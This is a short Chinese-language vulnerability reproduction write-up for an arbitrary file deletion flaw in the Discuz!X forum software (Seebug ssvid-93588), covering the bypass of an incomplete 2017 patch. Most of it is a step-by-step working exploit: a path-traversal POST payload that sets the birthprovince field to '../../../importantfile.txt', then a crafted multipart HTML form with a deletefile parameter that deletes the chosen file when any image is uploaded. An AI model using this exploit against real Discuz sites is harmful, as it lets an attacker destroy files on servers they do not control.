漏洞背景:
Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。
漏洞复现:
1.进入设置-个人资料,先在页面源代码找到formhash值,可以看到值为2599b5e5
2.开启一个插件Hackbar
Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=2599b5e5
执行后会显示一片空白,你再刷新下或重新访问下就好了。
3.出生地被修改成要删除的文件。
最后构造表单执行删除文件
<form
action="http://192.168.199.217/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="720c16c3"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>
生成.html,上面的需要自己修改。
4.然后随便上传一张图片,就能删除自己要删除的。
5.再访问回去看一下。
复现成功。